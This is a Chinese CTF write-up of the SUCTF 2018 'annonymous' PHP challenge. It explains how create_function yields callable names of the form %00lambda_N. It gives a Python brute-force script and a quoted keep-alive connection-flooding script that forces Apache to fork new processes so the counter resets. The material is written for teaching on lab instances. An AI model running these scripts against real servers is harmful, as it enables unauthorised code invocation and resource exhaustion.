0%

[SUCTF 2018]annonymous

0x00 前言

​ 考试周摸鱼还是快乐了,做web是真的快乐。转回这道题目,挺有意思的一道题目,记录一下吧。

0x01 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

​ 简单审计源码就可以知道,这题目定义了一个函数$MY可以直接读取flag。还使用openssl生成了一个随机数。并使用eval定义了另一个调用$MY读取flag的文件。那么这里就有了几个疑点:

1
2
3
4
1.为什么不直接创建函数,而是要使用 create_function ?
2.看 php 的文档发现 openssl_random_pseudo_bytes 产生的是伪随机数,那么是不是可以直接求出值?
3.这个函数为什么要使用 eval ?是不是可以代码注入?
4.这个 global 有什么必要吗?

0x02 分析

​ 这里选择逐条分析。

1.为什么使用 create_funcion 函数?

​ 大概是因为不使用 create_function 函数就有可能无法生成$MY了,所以这个应该不算疑点。

PS: 后面我就会后悔没有注意到为什么要生成 $MY,直接写不香吗?

2.是否可以获取伪随机数的值?

​ 不可以,本地的多次测试发现这个伪随机数的值无法确定,因为原题中它的种子长度没有写出来。

3.代码注入是否有可能?

​ 不可能。即使这些代码是在eval中,我们也没有可以操控的部分,根本不可能存在代码注入的。

结合上面的种种结果看来,只有可能是global这个东西有猫腻了。那么就本地测试输出$GLOBALS试一下。发现了一个奇怪的东西。

img

​ 突然发现$MY居然有值,那么我应该可以使用lambda_1这个名字来直接当函数名不就好了吗?结果试了一下发现完全不行,后来发现这个lambda_1居然会自增,但是无论怎么输入我都无法成功使用,最后实在做不出来了,查看了wp发现

1
create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_%d

​ 懂了,重新加上%00之后尝试了一下。测试成功了。那么接下来的问题也就很简单嘞。我们可以直接使用脚本来爆破。

PS:这里是因为自己在测试之后发现最大值好像是100,也就是说到了100之后会回溯到一个比100小的数,这里没有测试这个数是不是1,理论上多试几次是可以出来的。这里运气也比较好,直接就出来了。

1
2
3
4
5
6
7
8
import requests

url = 'http://d9e5cd2f-2bfc-415e-8d6f-cd9feece4759.node3.buuoj.cn/?func_name=%00lambda_{}'
i = 100
while i>0:
i = i -1
ans = requests.get(url.format(i))
print(ans.text)

img

​ 没想到我这个居然算非预期了,预期解是:

1
%d这个值是一直递增的,这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。

exp1:

1
2
3
4
import requests
while True:
r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1')
print(r.text)

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# coding: UTF-8
# Author: orange@chroot.org
# using python2

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = '28ae7c60-92ae-447c-a9c9-b50024d45b25.node3.buuoj.cn'
PORT = 80
se = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
se.connect((HOST, PORT))
se.send("GET / HTTP/1.1\r\n")
se.send("Host: 28ae7c60-92ae-447c-a9c9-b50024d45b25.node3.buuoj.cn\r\n")
se.send("Connection: keep-alive\r\n\r\n")
# s.close()
print 'ok'
time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

0x03 参考

https://www.jianshu.com/p/19e3ee990cb7